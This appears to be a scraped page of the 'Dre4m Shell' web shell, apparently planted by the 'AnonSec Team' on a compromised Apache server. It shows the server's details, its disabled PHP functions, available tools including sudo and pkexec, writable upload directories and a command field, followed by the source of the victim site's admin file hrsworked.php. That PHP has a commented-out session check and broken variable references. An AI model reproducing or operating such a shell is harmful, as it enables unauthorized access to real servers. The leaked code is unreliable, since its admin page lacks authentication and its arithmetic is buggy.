Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.12.123.254
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin/hrsworked.php
<?php
ob_start();
session_start();
//require_once('session-check.php');
require_once('include/db-config.php');
$sql = "SELECT assigned_month_no, assigned_year, sum(mts_spend) as mts_spend, sum(hrs_spend) as hrs_spend, count(*) as total FROM maintrainer_hrs_worked group by assigned_month_no, assigned_year order by assigned_year, assigned_month_no";
$result=mysqli_query($conn,$sql);
?>
<!DOCTYPE html> <HTML>
<HEAD>
<TITLE>Joel Levitt, maintenance management, maintenance management consulting, tpms</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
</HEAD>
<BODY BGCOLOR=#FFFFFF LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0>
<!-- ImageReady Slices (maintrainer_slice2.jpg) -->
<div style="width:100%; padding-left:20px; padding-right:20px;">
<TABLE WIDTH="100%" BORDER=0 CELLPADDING=0 CELLSPACING=0 align="left" class="normal_text">
	<?php
	while($row=mysqli_fetch_array($result))
	{
		$assigned_month_no = $row['assigned_month_no'];
		$assigned_year = $row['assigned_year'];
		
		$hrs_spend = $row['hrs_spend'] * 60;
		$mts_spend = $row['mts_spend'] + $hrs_spend;
		$total = $row['total'];
		$month_name = "";
		if($assigned_month_no == "1")
			$month_name = "January";
		else if($assigned_month_no == "2")
			$month_name = "February";
		else if($assigned_month_no == "3")
			$month_name = "March";
		else if($assigned_month_no == "4")
			$month_name = "April";
		else if($assigned_month_no == "5")
			$month_name = "May";
		else if($assigned_month_no == "6")
			$month_name = "June";
		else if($assigned_month_no == "7")
			$month_name = "July";
		else if($assigned_month_no == "8")
			$month_name = "August";
		else if($assigned_month_no == "9")
			$month_name = "September";
		else if($assigned_month_no == "10")
			$month_name = "October";
		else if($assigned_month_no == "11")
			$month_name = "November";
		else if($assigned_month_no == "12")
			$month_name = "December";
			
		$mts = 0;
		$hrs = 0;
		
		$mts = mts_spend%60;
		$hrs = (int)($mts_spend - mts) / 60;
		
		//$result = $mts_spend / 60;;
		//$worked_mts = $result - (int) $result;
		//$worked_hrs = (int) $result; 
		
		
		/*
		$sql_exists = "SELECT mts_spend FROM maintrainer_hrs_worked where assigned_year = ".$assigned_year." and  assigned_month_no = ".$assigned_month_no." and work_status = 'Completed'";
		$result_exists=mysqli_query($conn,$sql_exists);
		if($row_exists=mysqli_fetch_array($result_exists))
		{
			$sql2 = "SELECT sum(mts_spend) as mts_spend FROM maintrainer_hrs_worked where assigned_year = ".$assigned_year." and  assigned_month_no = ".$assigned_month_no." and work_status = 'Completed'";
			$result2=mysqli_query($conn,$sql2);
			if($row2=mysqli_fetch_array($result2))
			{
				$mts_spend_completd = $row2['mts_spend'];
				$result = $mts_spend_completd / 60;
				$worked_mts = $result - (int) $result;
				$worked_hrs = (int) $result; 
			}
		}
		
		$sql2 = "SELECT sum(mts_spend) as mts_spend FROM maintrainer_hrs_worked where assigned_year = ".$assigned_year." and  assigned_month_no = ".$assigned_month_no." and work_status != 'Completed'";
		$result2=mysqli_query($conn,$sql2);
		if($row2=mysqli_fetch_array($result2))
		{
			$mts_spend_pending = $row2['mts_spend'];	
			$result = $mts_spend_pending / 60;
			$assigned_mts = $result - (int) $result;
			$assigned_hrs = (int) $result; 
		}*/		
	?>
    <tr>
    	<td>
        	<font style="font-size:20px; color:#0000FF;"><?php echo $month_name." ".$assigned_year; ?></font>
            <br>
            <font style="font-size:14px; color:#000000;">Total completed and assigned Task: <?php echo $hrs." Hrs : ".$mts." Mts."; ?></font>
        </td>
    </tr>
    <?php
	}
	?>
</TABLE>
<!-- End ImageReady Slices -->
</BODY>
</HTML>

Anon7 - 2022
AnonSec Team